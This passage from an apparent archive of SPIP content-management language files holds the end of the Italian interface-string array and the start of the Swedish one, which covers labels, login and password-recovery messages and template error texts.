'form_prop_sujet' => 'Argomento',
'form_prop_url_site' => 'Indirizzo (URL) del sito',
'forum_non_inscrit' => 'Non sei iscritto, oppure l’indirizzo o la password inseriti non sono corretti.',
'forum_par_auteur' => 'di @auteur@',
'forum_titre_erreur' => 'Errore...',
// I
'ical_texte_rss_articles' => 'Il file di "backend" degli articoli di questo sito si trova al seguente indirizzo:',
'ical_texte_rss_articles2' => 'È anche possibile ottenere un file di "backend" per gli articoli di una singola rubrica:',
'ical_texte_rss_breves' => 'Inoltre esiste un file per l’insieme delle brevi del sito. Precisando un numero di rubrica ci si può limitare alle brevi in essa contenute.',
'icone_a_suivre' => 'Pannello di controllo',
'icone_admin_site' => 'Amministrazione del sito',
'icone_agenda' => 'Agenda',
'icone_aide_ligne' => 'Guida in linea',
'icone_articles' => 'Articoli',
'icone_auteurs' => 'Autori',
'icone_brouteur' => 'Navigazione rapida',
'icone_configuration_site' => 'Configurazione del sito',
'icone_configurer_site' => 'Configura il sito',
'icone_creer_nouvel_auteur' => 'Crea un nuovo autore',
'icone_creer_rubrique' => 'Crea una rubrica',
'icone_creer_sous_rubrique' => 'Crea una sottorubrica',
'icone_deconnecter' => 'Esci',
'icone_discussions' => 'Discussioni',
'icone_doc_rubrique' => 'Documenti delle rubriche',
'icone_ecrire_article' => 'Scrivi un articolo',
'icone_edition_site' => 'Redazione del sito',
'icone_gestion_langues' => 'Gestione delle lingue',
'icone_informations_personnelles' => 'Dati personali',
'icone_interface_complet' => 'Interfaccia completa',
'icone_interface_simple' => 'Interfaccia semplificata',
'icone_maintenance_site' => 'Manutenzione tecnica',
'icone_messagerie_personnelle' => 'Messaggi personali',
'icone_repartition_debut' => 'Mostra la ripartizione dall’inizio',
'icone_rubriques' => 'Rubriche',
'icone_sauver_site' => 'Backup del sito',
'icone_site_entier' => 'Tutto il sito',
'icone_sites_references' => 'Siti repertoriati',
'icone_statistiques' => 'Statistiche del sito',
'icone_suivi_activite' => 'Monitorare l’attività del sito',
'icone_suivi_actualite' => 'Evoluzione del sito',
'icone_suivi_pettions' => 'Gestione delle petizioni',
'icone_suivi_revisions' => 'Modifiche agli articoli',
'icone_supprimer_document' => 'Elimina il documento',
'icone_supprimer_image' => 'Elimina l’immagine',
'icone_tous_articles' => 'Tutti i tuoi articoli',
'icone_tous_auteur' => 'Tutti gli autori',
'icone_tous_visiteur' => 'Tutti i visitatori',
'icone_visiter_site' => 'Visita il sito',
'icone_voir_en_ligne' => 'Vedi on line',
'img_indisponible' => 'immagine non disponibile',
'impossible' => 'impossibile',
'info_a_suivre' => 'PANNELLO DI CONTROLLO »',
'info_acces_interdit' => 'Accesso vietato',
'info_acces_refuse' => 'Accesso rifiutato',
'info_action' => 'Azione: @action@',
'info_administrer_rubriques' => 'Puoi amministrare questa rubrica e le relative sottorubriche',
'info_adresse_non_indiquee' => 'Non hai indicato l’indirizzo da testare!',
'info_aide' => 'AIUTO:',
'info_ajouter_mot' => 'Aggiungi questa parola',
'info_annonce' => 'ANNUNCIO',
'info_annonces_generales' => 'Annunci generali:',
'info_article_propose' => 'Articolo proposto',
'info_article_publie' => 'Articolo pubblicato',
'info_article_redaction' => 'Articolo in corso di redazione',
'info_article_refuse' => 'Articolo rifiutato',
'info_article_supprime' => 'Articolo eliminato',
'info_articles' => 'Articoli',
'info_articles_a_valider' => 'Articoli da convalidare',
'info_articles_nb' => '@nb@ articoli',
'info_articles_proposes' => 'Articoli proposti',
'info_articles_un' => '1 articolo',
'info_auteurs_nombre' => 'autore(i):',
'info_authentification_ftp' => 'Autenticazione (via FTP).',
'info_breves_2' => 'brevi',
'info_breves_nb' => '@nb@ notizie',
'info_breves_un' => '1 notizia',
'info_connexion_refusee' => 'Connessione rifiutata',
'info_contact_developpeur' => 'Contatta un programmatore.',
'info_contenance' => 'Questo sito contiene:',
'info_contribution' => 'contributi dei forum',
'info_copyright' => '@spip@ è un software libero distribuito @lien_gpl@.',
'info_copyright_doc' => 'Per maggiori informazioni, vedi il sito <a href="@spipnet@">@spipnet_affiche@</a>.',
'info_copyright_gpl' => 'sotto licenza GPL',
'info_cours_edition' => 'Articoli in fase di redazione',
'info_creer_repertoire' => 'Creare un file o una cartella chiamata:',
'info_creer_repertoire_2' => 'all’interno della sottocartella <b>@repertoire@</b>, poi:',
'info_creer_vignette' => 'creazione automatica dell’anteprima',
'info_creerdansrubrique_non_autorise' => 'Non si dispone di diritti sufficienti per creare contenuti in questa rubrica',
'info_deplier' => 'Espandi',
'info_descriptif_nombre' => 'descrizione(i):',
'info_description' => 'Descrizione:',
'info_description_2' => 'Descrizione:',
'info_dimension' => 'Dimensioni:',
'info_documents_nb' => '@nb@ documenti',
'info_documents_un' => '1 documento',
'info_ecire_message_prive' => 'Scrivi un messaggio privato',
'info_email_invalide' => 'Indirizzo email non valido.',
'info_en_cours_validation' => 'I tuoi articoli in corso di redazione',
'info_en_ligne' => 'Attualmente on line:',
'info_envoyer_message_prive' => 'Invia un messaggio privato a questo autore',
'info_erreur_requete' => 'Errore nella richiesta: ',
'info_erreur_squelette2' => 'Nessun modello di layout <b>@fichier@</b> trovato...',
'info_erreur_systeme' => 'Errore di sistema (errno @errsys@)',
'info_erreur_systeme2' => 'Il disco rigido potrebbe essere pieno o la base dati danneggiata.<br />
<span style="color:red;">Tenta di <a href=\'@script@\'>ripristinare la base dati</a>, o contatta il tuo hoster.</span>',
'info_fini' => 'Finito!',
'info_format_image' => 'Formati di file immagine utilizzabili per la creazione delle etichette: @gd_formats@.',
'info_format_non_defini' => 'formato non definito',
'info_grand_ecran' => 'Layout per monitor grandi',
'info_image_aide' => 'AIUTO',
'info_image_process_titre' => 'Metodo per generare thumbnail',
'info_impossible_lire_page' => '<b>Errore!</b> Impossibile leggere la pagina <tt><html>@test_proxy@</html></tt> attraverso il proxy ',
'info_installation_systeme_publication' => 'Installazione del sistema di pubblicazione...',
'info_installer_documents' => 'È possibile installare automaticamente tutti i documenti contenuti nella cartella @upload@.',
'info_installer_ftp' => 'In qualità di amministratore, puoi installare file (via FTP) nella cartella @upload@ per poi selezionarli direttamente.',
'info_installer_images' => 'È possibile installare delle immagini in formato JPEG, GIF e PNG.',
'info_installer_images_dossier' => 'Installare delle immagini nella cartella @upload@ per poterle selezionare direttamente.',
'info_interface_complete' => 'Interfaccia completa',
'info_interface_simple' => 'Interfaccia semplificata',
'info_joindre_document_article' => 'Puoi allegare a questo articolo dei documenti del tipo',
'info_joindre_document_rubrique' => 'Puoi aggiungere a questa rubrica documenti del tipo',
'info_joindre_documents_article' => 'Puoi allegare all’articolo documenti del tipo: ',
'info_l_article' => 'l’articolo',
'info_la_breve' => 'la breve',
'info_la_rubrique' => 'la sezione',
'info_langue_principale' => 'Lingua predefinita del sito',
'info_largeur_vignette' => '@largeur_vignette@ x @hauteur_vignette@ pixel',
'info_les_auteurs_1' => 'di @les_auteurs@ ',
'info_logo_format_interdit' => 'Solo i logo in formato @formats@ sono permessi.',
'info_logo_max_poids' => 'I logo devono obbligatoriamente avere una dimensione inferiore a @maxi@ (questo file è di @actuel@).',
'info_mail_fournisseur' => 'tuo@provider.com',
'info_message_2' => 'MESSAGGIO',
'info_message_supprime' => 'MESSAGGIO ELIMINATO',
'info_messages_nb' => '@nb@ messaggi',
'info_messages_un' => '1 messaggio',
'info_mise_en_ligne' => 'Data di pubblicazione on line:',
'info_modification_parametres_securite' => 'modifiche dei parametri di sicurezza',
'info_mois_courant' => 'Durante il mese:',
'info_mot_cle_ajoute' => 'La seguente parola chiave è stata aggiunta a',
'info_multi_herit' => 'Lingua predefinita',
'info_multi_langues_soulignees' => 'Le <u>lingue sottolineate</u> hanno la traduzione parziale o totale per tutti i testi dell’interfaccia. Se si seleziona una di queste lingue, molti elementi del sito pubblico (date, form) verranno tradotti automaticamente. Per le lingue che non sono sottolineate, invece, tali elementi rimarranno nella lingua principale del sito.',
'info_multilinguisme' => 'Multilinguismo',
'info_nom_non_utilisateurs_connectes' => 'Il tuo nome non appare nella lista degli utenti collegati.',
'info_nom_utilisateurs_connectes' => 'Il tuo nome è visibile nella lista degli utenti collegati.',
'info_nombre_en_ligne' => 'Attualmente on line:',
'info_non_resultat' => 'Nessun risultato per "@cherche_mot@"',
'info_non_utilisation_messagerie' => 'Il sistema di messaggistica interna di questo sito non viene utilizzato.',
'info_nouveau_message' => 'HAI UN NUOVO MESSAGGIO',
'info_nouveaux_messages' => 'HAI @total_messages@ NUOVI MESSAGGI',
'info_numero_abbreviation' => 'N. ',
'info_obligatoire' => 'Questa informazione è obbligatoria',
'info_pense_bete' => 'MEMO',
'info_petit_ecran' => 'Layout per monitor piccoli',
'info_petition_close' => 'Petizione chiusa',
'info_pixels' => 'pixels',
'info_plusieurs_mots_trouves' => 'Numerose parole chiave trovate per "@cherche_mot@":',
'info_portfolio_automatique' => 'Portfolio automatico:',
'info_premier_resultat' => '[@debut_limit@ primi risultati su @total@]',
'info_premier_resultat_sur' => '[@debut_limit@ primi risultati su @total@]',
'info_propose_1' => '[@nom_site_spip@] Propone: @titre@',
'info_propose_2' => 'Articolo proposto
---------------',
'info_propose_3' => 'L’articolo "@titre@" è proposto per la pubblicazione',
'info_propose_4' => 'Sei invitato a consultare e a dare la tua opinione ',
'info_propose_5' => 'nel forum annesso.
È disponibile all’indirizzo:',
'info_publie_01' => 'L’articolo "@titre@" è stato convalidato da @connect_nom@.',
'info_publie_1' => '[@nom_site_spip@] PUBBLICA: @titre@',
'info_publie_2' => 'Articolo pubblicato
--------------',
'info_rechercher' => 'Ricerca',
'info_rechercher_02' => 'Cerca:',
'info_remplacer_vignette' => 'Sostituire l’icona predefinita con una personalizzata:',
'info_rubriques_nb' => '@nb@ sezioni',
'info_rubriques_un' => '1 sezione',
'info_sans_titre_2' => 'senza titolo',
'info_selectionner_fichier' => 'Puoi selezionare un file della cartella @upload@',
'info_selectionner_fichier_2' => 'Seleziona un file:',
'info_sites_nb' => '@nb@ siti',
'info_sites_un' => '1 sito',
'info_supprimer_vignette' => 'Cancella l’immagine',
'info_symbole_bleu' => 'Il simbolo <b>blu</b> indica un <b>memo</b>: cioè un messaggio ad uso personale.',
'info_symbole_jaune' => 'Il simbolo <b>giallo</b> indica un <b>annuncio a tutti i redattori</b>: modificabile da tutti gli amministratori e visibile da tutti i redattori.',
'info_symbole_vert' => 'Il simbolo <b>verde</b> indica i <b>messaggi scambiati con altri utenti </b> del sito.',
'info_telecharger_nouveau_logo' => 'Upload di un nuovo logo:',
'info_telecharger_ordinateur' => 'Upload dal tuo computer:',
'info_tous_resultats_enregistres' => '[tutti i risultati sono salvati]',
'info_tout_afficher' => 'Visualizza tutto',
'info_travaux_texte' => 'Questo sito non è stato ancora configurato. Torna più tardi...',
'info_travaux_titre' => 'Lavori in corso',
'info_trop_resultat' => 'Troppi risultati per "@cherche_mot@" ; restringi la ricerca.',
'info_utilisation_messagerie_interne' => 'Stai utilizzando il sistema di messaggistica interna al sito.',
'info_valider_lien' => 'convalidare questo link',
'info_verifier_image' => ', verifica che le immagini siano state trasferite correttamente.',
'info_vignette_defaut' => 'Loghi predefiniti',
'info_vignette_personnalisee' => 'Loghi personalizzati',
'info_visite' => 'visita:',
'info_vos_rendez_vous' => 'I tuoi prossimi appuntamenti',
'infos_vos_pense_bete' => 'I tuoi memo',
// L
'label_ajout_id_rapide' => 'Inserimento rapido',
'label_poids_fichier' => 'Dimnesione',
'lien_afficher_icones_seuls' => 'Mostra solo le icone',
'lien_afficher_texte_icones' => 'Mostra le icone e il testo',
'lien_afficher_texte_seul' => 'Mostra solo il testo',
'lien_liberer' => 'libera',
'lien_liberer_tous' => 'liberare questi articoli',
'lien_nouvea_pense_bete' => 'NUOVO MEMO',
'lien_nouveau_message' => 'NUOVO MESSAGGIO',
'lien_nouvelle_annonce' => 'NUOVO ANNUNCIO',
'lien_petitions' => 'PETIZIONE',
'lien_popularite' => 'popolarità: @popularite@%',
'lien_racine_site' => 'ROOT DEL SITO',
'lien_reessayer' => 'Prova di nuovo',
'lien_repondre_message' => 'Rispondi',
'lien_supprimer' => 'cancella',
'lien_tout_afficher' => 'Visualizza tutto ',
'lien_visite_site' => 'visita il sito',
'lien_visites' => '@visites@ visite',
'lien_voir_auteur' => 'Vedi questo autore',
'ligne' => 'Linea',
'login' => 'Collegamento',
'login_acces_prive' => 'accesso all’area riservata',
'login_autre_identifiant' => 'connettiti con un altro ID',
'login_cookie_accepte' => 'Imposta il tuo browser affinché li accetti (almeno per questo sito).',
'login_cookie_oblige' => 'Per identificarsi in modo sicuro su questo sito è necessario accettare i cookie.',
'login_deconnexion_ok' => 'Disconnessione effettuata.',
'login_erreur_pass' => 'Errore nella password.',
'login_espace_prive' => 'area riservata',
'login_identifiant_inconnu' => 'L’ID « @login@ » risulta inesistente.',
'login_login' => 'Login:',
'login_login2' => 'Login o indirizzo email:',
'login_login_pass_incorrect' => '(Login o password errati.)',
'login_motpasseoublie' => 'password dimenticata?',
'login_non_securise' => 'Attenzione, questo modulo non è sicuro.
Se non vuoi che la tua password possa essere intercettata sulla rete,
devi attivare Javascript nel tuo browser e',
'login_nouvelle_tentative' => 'Nuovo tentativo',
'login_par_ici' => 'Sei registrato... per di qua...',
'login_pass2' => 'Password:',
'login_preferez_refuser' => '<b>Se preferisci non accettare i cookie</b> c’è un altro metodo (meno sicuro) per connettersi:',
'login_recharger' => 'aggiorna questa pagina',
'login_rester_identifie' => 'Conservare l’identificazione per alcuni giorni',
'login_retour_public' => 'Ritorna al sito pubblico',
'login_retour_site' => 'Ritorna al sito pubblico',
'login_retoursitepublic' => 'ritorna al sito pubblico',
'login_sans_cookiie' => 'Identificazione senza cookie',
'login_securise' => 'Accesso protetto',
'login_sinscrire' => 'registrati',
'login_test_navigateur' => 'test browser/riconnessione',
'login_verifiez_navigateur' => '(Verifica comunque se il tuo browser ha memorizzato la password...)',
// M
'masquer_colonne' => 'Nascondi questa colonna',
'masquer_trad' => 'nascondere le traduzioni',
'module_fichiers_langues' => 'File lingua',
// N
'navigateur_pas_redirige' => 'Se la pagina non cambia automaticamente, cliccare qui per continuare.',
'numero' => 'Numero',
// O
'occurence' => 'Occorrenza',
'onglet_affacer_base' => 'Svuota il database',
'onglet_auteur' => 'L’autore',
'onglet_contenu_site' => 'Contenuto del sito',
'onglet_evolution_visite_mod' => 'Evoluzione',
'onglet_fonctions_avances' => 'Funzioni avanzate',
'onglet_informations_personnelles' => 'Dati personali',
'onglet_interactivite' => 'Interattività',
'onglet_messagerie' => 'Messaggi',
'onglet_repartition_rubrique' => 'Ripartizione per rubriche',
'onglet_save_restaur_base' => 'Salva/ripristina il database',
'onglet_vider_cache' => 'Svuota la cache',
// P
'pass_choix_pass' => 'Inserisci una nuova password:',
'pass_erreur' => 'Errore',
'pass_erreur_acces_refuse' => '<b>Errore:</b> non hai più accesso a questo sito.',
'pass_erreur_code_inconnu' => '<b>Errore:</b> il codice inserito non corriponde a nessuno degli utenti che hanno accesso a questo sito.',
'pass_erreur_non_enregistre' => '<b>Errore:</b> l’indirizzo <tt>@email_oubli@</tt> non è registrato su questo sito.',
'pass_erreur_non_valide' => '<b>Errore:</b> questo indirizzo <tt>@email_oubli@</tt> non è valido!',
'pass_erreur_probleme_technique' => '<b>Errore:</b> l’email non può essere inviato a causa di un problema tecnico.',
'pass_espace_prive_bla' => 'L’area riservata di questo sito è accessibile
unicamente agli utenti registrati.
Una volta iscritto, potrai consultare gli articoli in corso di redazione,
proporre nuovi articoli e partecipare a tutti i forum.',
'pass_forum_bla' => 'Hai chiesto di intervenire su un forum
riservato agli utenti registrati.',
'pass_indiquez_cidessous' => 'Indica qui sotto l’indirizzo email con il quale ti sei registrato precedentemente.
Riceverai un email con le istruzioni per recuperare i dati di accesso al sito.',
'pass_mail_passcookie' => '(questo è un messaggio generato automaticamente)
Per recuperare i dati di accesso al sito
@nom_site_spip@ (@adresse_site@)
Clicca su questo link:
@sendcookie@
Potrai quindi inserire una nuova password
e riconnetterti all’area riservata.
',
'pass_mot_oublie' => 'Password dimenticata',
'pass_nouveau_enregistre' => 'La nuova password è stata salvata.',
'pass_nouveau_pass' => 'Nuova password',
'pass_ok' => 'OK',
'pass_oubli_mot' => 'Password dimenticata',
'pass_procedure_changer' => 'Per modificare la tua password, dobbiamo prima verificare la tua identità. Inserisci l’indirizzo email associato al tuo account.',
'pass_quitter_fenetre' => 'Chiudi la finestra',
'pass_rappel_login' => 'Ricorda: il tuo ID (login) è « @login@ ».',
'pass_recevoir_mail' => 'Riceverai un email contenente le istruzioni per recuperare i dati di accesso al sito.',
'pass_retour_public' => 'Torna al sito pubblico',
'pass_rien_a_faire_ici' => 'Vicolo cieco...',
'pass_vousinscrire' => 'Registrati al sito',
'precedent' => 'precedente',
'previsualisation' => 'Anteprima',
'previsualiser' => 'Visualizzare l’anteprima',
// R
'retour' => 'Indietro',
// S
'spip_conforme_dtd' => 'SPIP ritiene che questo documento è conforme al proprio DOCTYPE:',
'squelette' => 'modello di layout',
'squelette_inclus_ligne' => 'modello incluso, linea',
'squelette_ligne' => 'modello, linea',
'stats_visites_et_popularite' => '@visites@ visite; popolarità: @popularite@',
'suivant' => 'successivo',
// T
'taille_go' => '@taille@ Gb',
'taille_ko' => '@taille@ Kb',
'taille_mo' => '@taille@ Mb',
'taille_octets' => '@taille@ byte',
'texte_actualite_site_1' => 'Quando avrai maggiore familiarità con l’interfaccia, clicca su «',
'texte_actualite_site_2' => 'interfaccia completa',
'texte_actualite_site_3' => '» per avere accesso a nuove opzioni.',
'texte_creation_automatique_vignette' => 'La creazione automatica di thumbnail di anteprima è attivata. Se inserisci in questo campo delle immagini in formato @gd_formats@, esse saranno accompagnate da thumbnail con una dimensione massima di @taille_preview@ pixels. ',
'texte_documents_associes' => 'I seguenti documenti sono associati all’articolo,
ma non vi sono stati inseriti direttamente.
A seconda delle impostazioni di pubblicazione del sito,
potranno essere disponibili sotto forma di documenti allegati.',
'texte_erreur_mise_niveau_base' => 'Errore nel database durante l’aggiornamento.
L’immagine <b>@fichier@</b> non è passata (articolo @id_article@).
Prendi nota di questo riferimento, ritenta l’aggiornamento,
e verifica che le immagini si vedano ancora
negli articoli.',
'texte_erreur_visiteur' => 'Si è tentato di entrare nell’area riservata con un login non valido.',
'texte_inc_auth_1' => 'Sei identificato con il
login <b>@auth_login@</b>, ma nel database non esiste.
Prova a ',
'texte_inc_auth_2' => 'collegarti nuovamente',
'texte_inc_auth_3' => ', dopo aver eventualmente effettuato un logout e
riavviato il tuo browser.',
'texte_inc_config' => 'Le modifiche effettuate in queste pagine influenzano notevolmente il
funzionamento del sito. Non intervenire finché non conosci bene i meccanismi del sistema SPIP. <br /><br /><b>In generale, si consiglia di lasciare sempre al webmaster la configurazione delle opzioni qui presenti.</b>',
'texte_inc_meta_1' => 'La scrittura del file <code>@fichier@</code> ha causato un errore di sistema. L’amministratore del sito, ',
'texte_inc_meta_2' => 'verifichi i diritti di scrittura',
'texte_inc_meta_3' => 'nella cartella <code>@repertoire@</code>.',
'texte_statut_en_cours_redaction' => 'in corso di redazione',
'texte_statut_poubelle' => 'nel cestino',
'texte_statut_propose_evaluation' => 'proposto per una valutazione',
'texte_statut_publie' => 'pubblicato on line',
'texte_statut_refuse' => 'rifiutato',
'titre_ajouter_mot_cle' => 'AGGIUNGI UNA PAROLA CHIAVE:',
'titre_cadre_raccourcis' => 'SCELTA RAPIDA:',
'titre_changer_couleur_interface' => 'Cambia il colore dell’interfaccia',
'titre_image_admin_article' => 'Puoi amministrare questo articolo',
'titre_image_administrateur' => 'Amministratore',
'titre_image_aide' => 'Aiuto su questo elemento',
'titre_image_auteur_supprime' => 'Autore eliminato',
'titre_image_redacteur' => 'Redattore senza accesso',
'titre_image_redacteur_02' => 'Redattore',
'titre_image_selecteur' => 'Mostra la lista',
'titre_image_visiteur' => 'Visitatore',
'titre_joindre_document' => 'ALLEGA UN DOCUMENTO',
'titre_mots_cles' => 'PAROLE CHIAVE',
'titre_probleme_technique' => 'Attenzione: un problema tecnico (server SQL) impedisce l’accesso a questa parte del sito. Grazie per la comprensione.',
'titre_publier_document' => 'ALLEGA UN DOCUMENTO A QUESTA RUBRICA',
'titre_signatures_attente' => 'Firme in corso di convalida',
'titre_signatures_confirmees' => 'Firme confermate',
'titre_statistiques' => 'Statistiche del sito',
'titre_titre_document' => 'Titolo del documento:',
'todo' => 'prossimo',
'trad_reference' => '(articolo di riferimento)',
// Z
'zbug_balise_b_aval' => ': ciclo B deve precedere ciclo BOUCLE',
'zbug_balise_inexistante' => 'errore @from@: il tag #@balise@ non esiste ',
'zbug_balise_sans_argument' => 'Argomento mancante nel tag @balise@',
'zbug_boucle' => 'ciclo',
'zbug_boucle_recursive_undef' => 'ciclo ricorsivo non definito',
'zbug_calcul' => 'calcolo',
'zbug_champ_hors_boucle' => 'Campo @champ@ fuori dal ciclo',
'zbug_champ_hors_motif' => 'Campo @champ@ fuori da un contesto @motif@',
'zbug_code' => 'codice',
'zbug_critere_inconnu' => 'criterio sconosciuto @critere@',
'zbug_distant_interdit' => 'esterno non accessibile',
'zbug_doublon_table_sans_cle_primaire' => 'doppioni su una tabella senza chiave primaria atomica',
'zbug_doublon_table_sans_index' => 'doppioni su una tabella senza indice',
'zbug_erreur_boucle_double' => 'BOUCLE@id@: doppia definizione',
'zbug_erreur_boucle_fermant' => 'BOUCLE@id@: chiusura tag mancante',
'zbug_erreur_boucle_syntaxe' => 'Sintassi del ciclo errata',
'zbug_erreur_compilation' => 'Errore di compilazione',
'zbug_erreur_execution_page' => 'errore di esecuzione della pagina',
'zbug_erreur_filtre' => 'Errore : filtro <b>« @filtre@ »</b> non esistente',
'zbug_erreur_meme_parent' => 'il criterio {meme_parent} si applica unicamente ai cicli (FORUMS) o (RUBRIQUES)',
'zbug_erreur_squelette' => 'Errore/i nel modello di layout',
'zbug_hors_compilation' => 'Fuori Compilazione',
'zbug_info_erreur_squelette' => 'Errore sul sito',
'zbug_inversion_ordre_inexistant' => 'inversione di un ordine non esistente',
'zbug_pagination_sans_critere' => '#PAGINATION senza criterio {pagination} oppure usato in un ciclo ricorsivo',
'zbug_parametres_inclus_incorrects' => 'Parametri di inclusione non corretti',
'zbug_profile' => 'Tempo di elaborazione: @time@',
'zbug_resultat' => 'risultato',
'zbug_serveur_indefini' => 'server SQL non definito',
'zbug_statistiques' => 'Statistiche delle query SQL in ordine di durata',
'zbug_table_inconnue' => 'Tabella SQL « @table@ » sconosciuta',
'zxml_connus_attributs' => 'attributi conosciuti',
'zxml_de' => 'di',
'zxml_inconnu_attribut' => 'attributo sconosciuto',
'zxml_inconnu_balise' => 'segnaposto sconosciuto',
'zxml_inconnu_entite' => 'entità sconosciuta',
'zxml_inconnu_id' => 'ID sconosciuto',
'zxml_mais_de' => 'ma di',
'zxml_non_conforme' => 'non è conforme al motivo',
'zxml_non_fils' => 'non è un figlio di',
'zxml_nonvide_balise' => 'segnaposto non vuoto',
'zxml_obligatoire_attribut' => 'attributo obbligatorio ma assente in',
'zxml_succession_fils_incorrecte' => 'successione dei figli non corretta',
'zxml_survoler' => 'passarci sopra col mouse per vedere i corretti',
'zxml_valeur_attribut' => 'valore dell’attributo',
'zxml_vide_balise' => 'tag vuoto',
'zxml_vu' => 'visto in precedenza'
);
?>
spip_sv.php 0000666 00000105365 15252547432 0006767 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/spip?lang_cible=sv
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// 0
'0_URL' => 'http://listes.rezo.net/mailman/listinfo/spip-dev',
'0_langue' => 'svenska [sv]',
'0_liste' => 'spip-dev@rezo.net',
'0_mainteneur' => 'spip-dev@rezo.net',
// A
'access_interface_graphique' => 'Tillbaka till det kompletta grafiska gränssnittet',
'access_mode_texte' => 'Visa det förenklade text-gränssnittet',
'admin_debug' => 'avlusa',
'admin_modifier_article' => 'Ändra artikeln',
'admin_modifier_auteur' => 'Ändra författaren',
'admin_modifier_breve' => 'Ändra nyheten',
'admin_modifier_mot' => 'Ändra nyckelordet',
'admin_modifier_rubrique' => 'Ändra avdelningen',
'admin_recalculer' => 'Ladda om sidan',
'afficher_trad' => 'Visa översättning',
'alerte_maj_impossible' => '<b>Varning!</b> Misslyckades med att uppdatera SQL-databasen till version @version@. Det kan bero på ett åtkomstproblem med databasen. Var vänlig ta kontakt med din ISP.',
'alerte_modif_info_concourante' => 'VARNING: Denna information har ändrats på annan plats. Det aktuella innehållet är:',
'analyse_xml' => 'Undersök XML',
'annuler' => 'Avbryt',
'antispam_champ_vide' => 'Var vänlig, lämna fältet tomt',
'articles_recents' => 'De senaste artiklarna',
'avis_archive_incorrect' => 'Arkivfilen är inte en godkänd SPIP-fil',
'avis_archive_invalide' => 'Arkivfilen är inte godkänd',
'avis_attention' => 'SE UPP!',
'avis_champ_incorrect_type_objet' => 'Ogiltigt fält-namn för objekt av typen @type@',
'avis_colonne_inexistante' => 'Kolumnen @col@ finns inte',
'avis_erreur' => 'Fel: se nedan\\’;',
'avis_erreur_connexion' => 'Anslutningsfel',
'avis_erreur_cookie' => 'cookieproblem',
'avis_erreur_fonction_contexte' => 'Programmeringsfel. Den här funktionen borde inte bli kallad i det här sammanhanget.',
'avis_erreur_mysql' => 'SQL-fel',
'avis_erreur_sauvegarde' => 'Fel på säkerhetskopian (@type@ @id_objet@)!',
'avis_erreur_visiteur' => 'Det har uppstått ett problem med att gå in i den privata delen',
// B
'barre_a_accent_grave' => 'Skapa ett stort A med bakåtvänd accent',
'barre_aide' => 'Använd de typografiska genvägarna för att förbättra din layout',
'barre_e_accent_aigu' => 'Skapa ett stort E med framåtvänd accent',
'barre_eo' => 'Skapa en gemen oe-ligatur',
'barre_eo_maj' => 'Skapa en versal EO-ligature',
'barre_euro' => 'Skapa € symbolen',
'barre_gras' => 'Sätt i {{fet}} stil',
'barre_guillemets' => 'Placera mellan "dubbla citationstecken"',
'barre_guillemets_simples' => 'Placera mellan ‘enkla citationstecken’',
'barre_intertitre' => 'Gör till en {{{underrubrik}}}',
'barre_italic' => 'Sätt i {kursiv} stil',
'barre_lien' => 'Gör till en [länk->http://...]',
'barre_lien_input' => 'Var god och ange målet för din länk (du kan ange en internet-adress så som http://www.example.com eller helt enkelt numret på en artikel på den här sajten).',
'barre_note' => 'Gör till en [[Fotnot]]',
'barre_paragraphe' => 'skapa ett stycke',
'barre_quote' => '<quote>Citera ett meddelande</quote>',
'bouton_changer' => 'Ändra',
'bouton_chercher' => 'Sök',
'bouton_choisir' => 'Välj',
'bouton_download' => 'Ladda hem', # MODIF
'bouton_enregistrer' => 'Spara',
'bouton_radio_desactiver_messagerie_interne' => 'Stäng av möjligheten med interna meddelanden',
'bouton_radio_envoi_annonces' => 'Skicka redaktionella tillkännagivanden',
'bouton_radio_non_envoi_annonces' => 'Skicka inga tillkännagivanden',
'bouton_radio_non_envoi_liste_nouveautes' => 'Skicka inte en lista med senaste nyheter',
'bouton_recharger_page' => 'ladda om sidan',
'bouton_telecharger' => 'Ladda upp',
'bouton_upload' => 'Ladda upp', # MODIF
'bouton_valider' => 'Spara',
// C
'cal_apresmidi' => 'eftermiddag (e.m)',
'cal_jour_entier' => 'hel dag',
'cal_matin' => 'förmiddag (f.m)',
'cal_par_jour' => 'daglig kalendar',
'cal_par_mois' => 'månadsvis kalender',
'cal_par_semaine' => 'veckovis kalender',
'choix_couleur_interface' => 'Färg',
'choix_interface' => 'val av gränssnitt',
'colonne' => 'Kolumn',
'confirm_changer_statut' => 'Krav på bekräftelse: Du har bett om att ändra statusen på den här artikeln. Vill du fortsätta?',
'correcte' => 'rätt',
// D
'date_aujourdhui' => 'idag',
'date_avant_jc' => 'f.Kr.',
'date_dans' => 'om @delai@',
'date_de_mois_1' => '@j@ @nommois@',
'date_de_mois_10' => '@j@ @nommois@',
'date_de_mois_11' => '@j@ @nommois@',
'date_de_mois_12' => '@j@ @nommois@',
'date_de_mois_2' => '@j@ @nommois@',
'date_de_mois_3' => '@j@ @nommois@',
'date_de_mois_4' => '@j@ @nommois@',
'date_de_mois_5' => '@j@ @nommois@',
'date_de_mois_6' => '@j@ @nommois@',
'date_de_mois_7' => '@j@ @nommois@',
'date_de_mois_8' => '@j@ @nommois@',
'date_de_mois_9' => '@j@ @nommois@',
'date_demain' => 'imorgon',
'date_fmt_heures_minutes' => '@h@:@m@',
'date_fmt_jour_heure' => '@jour@ klockan @heure@',
'date_fmt_jour_mois' => '@jourmois@',
'date_fmt_jour_mois_annee' => '@jour@-@nommois@-@annee@',
'date_fmt_mois_annee' => '@nommois@ @annee@',
'date_fmt_nomjour_date' => 'på @nomjour@, @date@',
'date_heures' => 'timmar',
'date_hier' => 'igår',
'date_il_y_a' => '@delai@ sen',
'date_jnum1' => '1',
'date_jnum10' => '10',
'date_jnum11' => '11',
'date_jnum12' => '12',
'date_jnum13' => '13',
'date_jnum14' => '14',
'date_jnum15' => '15',
'date_jnum16' => '16',
'date_jnum17' => '17',
'date_jnum18' => '18',
'date_jnum19' => '19',
'date_jnum2' => '2',
'date_jnum20' => '20',
'date_jnum21' => '21',
'date_jnum22' => '22',
'date_jnum23' => '23',
'date_jnum24' => '24',
'date_jnum25' => '25',
'date_jnum26' => '26',
'date_jnum27' => '27',
'date_jnum28' => '28',
'date_jnum29' => '29',
'date_jnum3' => '3',
'date_jnum30' => '30',
'date_jnum31' => '31',
'date_jnum4' => '4',
'date_jnum5' => '5',
'date_jnum6' => '6',
'date_jnum7' => '7',
'date_jnum8' => '8',
'date_jnum9' => '9',
'date_jour_1' => 'söndag',
